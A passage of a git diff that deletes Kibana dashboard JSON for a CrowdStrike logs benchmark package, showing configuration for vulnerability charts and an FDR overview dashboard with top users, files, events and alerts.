-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "emptySizeRatio": 0,
-                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "f94636e8-135f-4861-97bd-63326fd5028a",
-                    "w": 16,
-                    "x": 16,
-                    "y": 31
-                },
-                "panelIndex": "f94636e8-135f-4861-97bd-63326fd5028a",
-                "title": "Vulnerability by Status [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "currentIndexPatternId": "logs-*",
-                                    "layers": {
-                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
-                                            "columnOrder": [
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                            ],
-                                            "columns": {
-                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Confidence",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.vulnerability.confidence"
-                                                },
-                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false,
-                                                        "format": {
-                                                            "id": "number",
-                                                            "params": {
-                                                                "decimals": 0
-                                                            }
-                                                        }
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "indexPatternId": "logs-*",
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "colorMapping": {
-                                            "assignments": [],
-                                            "colorMode": {
-                                                "type": "categorical"
-                                            },
-                                            "paletteId": "eui_amsterdam_color_blind",
-                                            "specialAssignments": [
-                                                {
-                                                    "color": {
-                                                        "type": "loop"
-                                                    },
-                                                    "rule": {
-                                                        "type": "other"
-                                                    },
-                                                    "touched": false
-                                                }
-                                            ]
-                                        },
-                                        "emptySizeRatio": 0,
-                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "07b2c938-6511-4d9a-b5d4-beccfea7055d",
-                    "w": 16,
-                    "x": 32,
-                    "y": 31
-                },
-                "panelIndex": "07b2c938-6511-4d9a-b5d4-beccfea7055d",
-                "title": "Vulnerability by Confidence [Logs Crowdstrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "description": "",
-                    "enhancements": {},
-                    "grid": {
-                        "columns": {
-                            "crowdstrike.vulnerability.cve.exploitability_score": {
-                                "width": 205
-                            },
-                            "crowdstrike.vulnerability.cve.exprt_rating": {
-                                "width": 181
-                            },
-                            "crowdstrike.vulnerability.cve.impact_score": {
-                                "width": 184
-                            },
-                            "crowdstrike.vulnerability.suppression_info.is_suppressed": {
-                                "width": 182
-                            },
-                            "vulnerability.id": {
-                                "width": 142
-                            }
-                        }
-                    }
-                },
-                "gridData": {
-                    "h": 22,
-                    "i": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
-                    "w": 48,
-                    "x": 0,
-                    "y": 47
-                },
-                "panelIndex": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
-                "panelRefName": "panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
-                "title": "Vulnerability Essential Details [Logs Crowdstrike]",
-                "type": "search"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Logs Crowdstrike] Vulnerability",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-08T11:24:58.039Z",
-    "id": "crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e:indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "da53bcd1-6533-49f4-b01a-f6f73ce41379:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "e23b231a-c029-433f-b6aa-0bc83960b159:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "36af41e0-213c-4145-acac-25b167b317ea:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f94636e8-135f-4861-97bd-63326fd5028a:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "07b2c938-6511-4d9a-b5d4-beccfea7055d:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
-            "type": "index-pattern"
-        },
-        {
-            "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c",
-            "name": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9:panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
-            "type": "search"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_f4535e1b-f830-47b7-8bfc-72df5cca8d15:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_609aecfe-f39b-41ee-b60a-d5bb0fab67b0:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_5cc4f532-9959-46b8-ba73-8bd54c27891b:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_47c1726b-56fd-48c9-9378-07a165ac42b9:optionsListDataView",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
deleted file mode 100644
index c333d53ec8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
+++ /dev/null
@@ -1,1062 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {},
-            "showApplySelections": false
-        },
-        "description": "Summarised overview for Crowdstrike FDR events.",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.fdr"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.fdr"
-                            }
-                        }
-                    }
-                ],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hidePanelTitles": false,
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "id": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n**FDR**  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics specific to Alerts and their different alert types that is received from Crowdstrike FDR.\n\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 57,
-                    "i": "4d55749a-c4b7-42ad-8e6f-5363c97aae61",
-                    "w": 7,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "4d55749a-c4b7-42ad-8e6f-5363c97aae61",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-current-indexpattern",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "880420b9-97fb-4f5a-8dd2-36f95cb02182": {
-                                            "columnOrder": [
-                                                "45f3413c-e658-43ec-bf3a-ad25977fb32c",
-                                                "c90d7c88-034f-42f4-94d2-605ae294940e"
-                                            ],
-                                            "columns": {
-                                                "45f3413c-e658-43ec-bf3a-ad25977fb32c": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "user.name",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "user.name"
-                                                },
-                                                "c90d7c88-034f-42f4-94d2-605ae294940e": {
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count of records",
-                                                    "operationType": "count",
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {}
-                                        }
-                                    }
-                                }
-                            },
-                            "filters": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "45f3413c-e658-43ec-bf3a-ad25977fb32c",
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e",
-                                        "hidden": false,
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "880420b9-97fb-4f5a-8dd2-36f95cb02182",
-                                "layerType": "data",
-                                "rowHeight": "single",
-                                "rowHeightLines": 1
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 14,
-                    "i": "e48dfc31-ef5f-4696-904c-c5320e8dcac9",
-                    "w": 21,
-                    "x": 7,
-                    "y": 0
-                },
-                "panelIndex": "e48dfc31-ef5f-4696-904c-c5320e8dcac9",
-                "title": "Top Users",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "c8088761-74a6-433a-a405-f26c709cebe3": {
-                                            "columnOrder": [
-                                                "97e2d50d-d871-4922-b0f8-2d50b2ace84a",
-                                                "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3"
-                                            ],
-                                            "columns": {
-                                                "97e2d50d-d871-4922-b0f8-2d50b2ace84a": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "file.name",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "size": 15
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "file.name"
-                                                },
-                                                "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3": {
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count of records",
-                                                    "operationType": "count",
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {}
-                                        }
-                                    }
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "97e2d50d-d871-4922-b0f8-2d50b2ace84a",
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3",
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "c8088761-74a6-433a-a405-f26c709cebe3",
-                                "layerType": "data",
-                                "rowHeight": "single",
-                                "rowHeightLines": 1
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 14,
-                    "i": "355965cd-eb00-4357-bdd8-1640627d1191",
-                    "w": 20,
-                    "x": 28,
-                    "y": 0
-                },
-                "panelIndex": "355965cd-eb00-4357-bdd8-1640627d1191",
-                "title": "Top Related Files",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "911bafb0-aeb7-4830-8a40-6166c96fb123": {
-                                            "columnOrder": [
-                                                "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b",
-                                                "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9",
-                                                "2c75b3a9-1b14-42d5-a8d0-44e461d4afab"
-                                            ],
-                                            "columns": {
-                                                "2c75b3a9-1b14-42d5-a8d0-44e461d4afab": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Events",
-                                                    "operationType": "count",
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9": {
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "@timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                },
-                                                "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Event Kind",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "2c75b3a9-1b14-42d5-a8d0-44e461d4afab",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 3
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.kind"
-                                                }
-                                            },
-                                            "incompleteColumns": {}
-                                        }
-                                    }
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "2c75b3a9-1b14-42d5-a8d0-44e461d4afab"
-                                        ],
-                                        "layerId": "911bafb0-aeb7-4830-8a40-6166c96fb123",
-                                        "layerType": "data",
-                                        "position": "top",
-                                        "seriesType": "line",
-                                        "showGridlines": false,
-                                        "splitAccessor": "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b",
-                                        "xAccessor": "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "legendSize": "auto",
-                                    "position": "right"
-                                },
-                                "preferredSeriesType": "line",
-                                "title": "Empty XY chart",
-                                "valueLabels": "hide",
-                                "yLeftExtent": {
-                                    "mode": "full"
-                                },
-                                "yRightExtent": {
-                                    "mode": "full"
-                                }
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 19,
-                    "i": "0325f703-a3cc-4a43-b621-974baae08c00",
-                    "w": 20,
-                    "x": 7,
-                    "y": 14
-                },
-                "panelIndex": "0325f703-a3cc-4a43-b621-974baae08c00",
-                "title": "Events over time, By Event Kind",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "37d34cfa-17ff-4e3e-a584-1b49cec083a5",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "1928976e-020d-48bd-9887-d9fd1925f69e": {
-                                            "columnOrder": [
-                                                "7aaadac8-55b7-4979-9bf1-b02a9673b502",
-                                                "5ec733a8-d11d-472d-9328-3c48b41a17ac"
-                                            ],
-                                            "columns": {
-                                                "5ec733a8-d11d-472d-9328-3c48b41a17ac": {
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count of records",
-                                                    "operationType": "count",
-                                                    "params": {},
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "7aaadac8-55b7-4979-9bf1-b02a9673b502": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Top events",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "5ec733a8-d11d-472d-9328-3c48b41a17ac",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.action"
-                                                }
-                                            },
-                                            "incompleteColumns": {}
-                                        }
-                                    }
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "37d34cfa-17ff-4e3e-a584-1b49cec083a5",
-                                        "key": "event.kind",
-                                        "negate": true,
-                                        "params": {
-                                            "query": "alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "event.kind": "alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "1928976e-020d-48bd-9887-d9fd1925f69e",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "5ec733a8-d11d-472d-9328-3c48b41a17ac"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "7aaadac8-55b7-4979-9bf1-b02a9673b502"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 19,
-                    "i": "7564f2a4-7167-4d71-8ce2-ece32f217487",
-                    "w": 10,
-                    "x": 27,
-                    "y": 14
-                },
-                "panelIndex": "7564f2a4-7167-4d71-8ce2-ece32f217487",
-                "title": "Top Event Types",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "4c5d87a9-3846-4fea-8db2-3ee8315e919e",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "35e353f8-fd89-43a0-ad8c-c5d202f098d2": {
-                                            "columnOrder": [
-                                                "b00df131-3742-4fa3-8645-032847f0266b",
-                                                "b89debc2-4203-43c7-ba15-6612030f67bd"
-                                            ],
-                                            "columns": {
-                                                "b00df131-3742-4fa3-8645-032847f0266b": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Top alerts",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "b89debc2-4203-43c7-ba15-6612030f67bd",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.action"
-                                                },
-                                                "b89debc2-4203-43c7-ba15-6612030f67bd": {
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count of records",
-                                                    "operationType": "count",
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {}
-                                        }
-                                    }
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "4c5d87a9-3846-4fea-8db2-3ee8315e919e",
-                                        "key": "event.kind",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "event.kind": "alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": "data_stream.dataset : \"crowdstrike.fdr\""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "35e353f8-fd89-43a0-ad8c-c5d202f098d2",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "b89debc2-4203-43c7-ba15-6612030f67bd"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "b00df131-3742-4fa3-8645-032847f0266b"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 19,
-                    "i": "32c13eb0-f12d-44d8-8ec4-ea778840fabf",
-                    "w": 11,
-                    "x": 37,
-                    "y": 14
-                },
-                "panelIndex": "32c13eb0-f12d-44d8-8ec4-ea778840fabf",
-                "title": "Top Alert Types",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "layerListJSON": [
-                            {
-                                "alpha": 1,
-                                "id": "0307e118-9fac-4923-ad6e-b588a8bd939f",
-                                "includeInFitToBounds": true,
-                                "label": null,
-                                "maxZoom": 24,
-                                "minZoom": 0,
-                                "sourceDescriptor": {
-                                    "isAutoSelect": true,
-                                    "lightModeDefault": "road_map",
-                                    "type": "EMS_TMS"
-                                },
-                                "style": {
-                                    "type": "TILE"
-                                },
-                                "type": "EMS_VECTOR_TILE",
-                                "visible": true
-                            },
-                            {
-                                "alpha": 0.75,
-                                "id": "6b7c69d1-9248-4af3-b437-0abcef344b67",
-                                "includeInFitToBounds": true,
-                                "joins": [],
-                                "label": "Agent locations",
-                                "maxZoom": 24,
-                                "minZoom": 0,
-                                "sourceDescriptor": {
-                                    "applyGlobalQuery": true,
-                                    "applyGlobalTime": true,
-                                    "filterByMapBounds": true,
-                                    "geoField": "observer.geo.location",
-                                    "id": "4c8af7e5-4ec6-43de-84ea-8df092cea5f8",
-                                    "indexPatternRefName": "layer_1_source_index_pattern",
-                                    "scalingType": "CLUSTERS",
-                                    "sortField": "",
-                                    "sortOrder": "desc",
-                                    "tooltipProperties": [],
-                                    "topHitsSize": 1,
-                                    "topHitsSplitField": "",
-                                    "type": "ES_SEARCH"
-                                },
-                                "style": {
-                                    "isTimeAware": true,
-                                    "properties": {
-                                        "fillColor": {
-                                            "options": {
-                                                "color": "#54B399"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "icon": {
-                                            "options": {
-                                                "value": "marker"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "iconOrientation": {
-                                            "options": {
-                                                "orientation": 0
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "iconSize": {
-                                            "options": {
-                                                "size": 6
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelBorderColor": {
-                                            "options": {
-                                                "color": "#FFFFFF"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelBorderSize": {
-                                            "options": {
-                                                "size": "SMALL"
-                                            }
-                                        },
-                                        "labelColor": {
-                                            "options": {
